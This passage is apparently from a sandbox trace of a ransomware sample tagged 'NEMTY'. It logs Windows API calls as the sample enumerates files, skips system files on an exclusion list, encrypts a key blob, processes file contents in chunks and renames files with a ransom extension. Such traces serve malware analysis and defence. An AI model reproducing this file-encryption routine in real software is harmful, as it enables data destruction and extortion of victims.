lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.258] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.276] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.286] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.296] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.315] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.320] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.321] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0165.327] CloseHandle (hObject=0xffffffff) returned 0 [0165.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0165.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0165.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0165.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0165.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0165.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0165.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0165.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0165.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0165.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0165.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked-loading.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked-loading.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked-loading.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked-loading.png._nemty_kgobjgd_")) returned 0 [0165.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0165.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0165.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0165.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0165.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0165.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0165.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0165.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0165.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0165.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.327] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c5f846, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c5f846, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x309edfd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6ddb, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_cloudy.png", cAlternateFileName="")) returned 1 [0165.327] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2=".") returned 1 [0165.327] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="..") returned 1 [0165.327] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="...") returned 1 [0165.327] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="windows") returned -1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="rsa") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="NTDETECT.COM") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="ntldr") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="MSDOS.SYS") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="IO.SYS") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="boot.ini") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="boot.ini") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="ntuser.dat") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="desktop.ini") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="CONFIG.SYS") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="RECYCLER") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="bootmgr") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="programdata") returned 1 [0165.328] lstrcmpiW (lpString1="undocked_black_cloudy.png", lpString2="appdata") returned 1 [0165.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_cloudy.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0165.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_cloudy.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_cloudy.png", lpUsedDefaultChar=0x0) returned 25 [0165.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0165.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_cloudy.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0165.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_cloudy.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_cloudy.png", lpUsedDefaultChar=0x0) returned 25 [0165.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0165.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_cloudy.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0165.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_cloudy.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_cloudy.png", lpUsedDefaultChar=0x0) returned 25 [0165.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_cloudy.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0165.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0165.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_cloudy.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_cloudy.png", lpUsedDefaultChar=0x0) returned 25 [0165.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0165.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0165.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0165.329] Sleep (dwMilliseconds=0x5) [0165.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1632d250, dwHighDateTime=0x1d561e8)) [0165.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1632d250, dwHighDateTime=0x1d561e8)) [0165.342] GetLastError () returned 0x5 [0165.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.342] GetLastError () returned 0x5 [0165.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0165.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0165.342] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0165.342] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0165.343] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0165.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0165.343] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e91c | out: pszString="RDbHC7dAa7dKf0P0BWs2k8QCqL8iBtDbrtjwhdmYlxdFmZ8p2En7/flJ5NZzU0cU\r\nTGx1HgTaQ46wPdc8JiVIjBboty3m8Z+lAWJygurMcNybofesm6OCC41Q6pIeIjcZ\r\nxumrqgetMIcb8PXnqZ/gGhqPoUUJfjZ6itrpqaHiEF1wh8NNgSiTcDoQr2IJGqkB\r\njpiQ+ylZFxNII6AAAWbrdZCSK9vbrDRrOhQmOnN88ZaV7NVLoyczmhYSfy7i9G+J\r\nun7M9QueEfN11YZdxh8w494Ys9HkgLNyFd9npQesfDaHKVPL8IJKmLBONdiHVVlK\r\nJYgZs7//JxyZuswtXqj2rg==\r\n", pcchString=0x653e91c) returned 1 [0165.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0165.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0165.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0165.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0165.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0165.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0165.343] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0165.343] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0165.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0165.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.343] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.352] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.353] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, 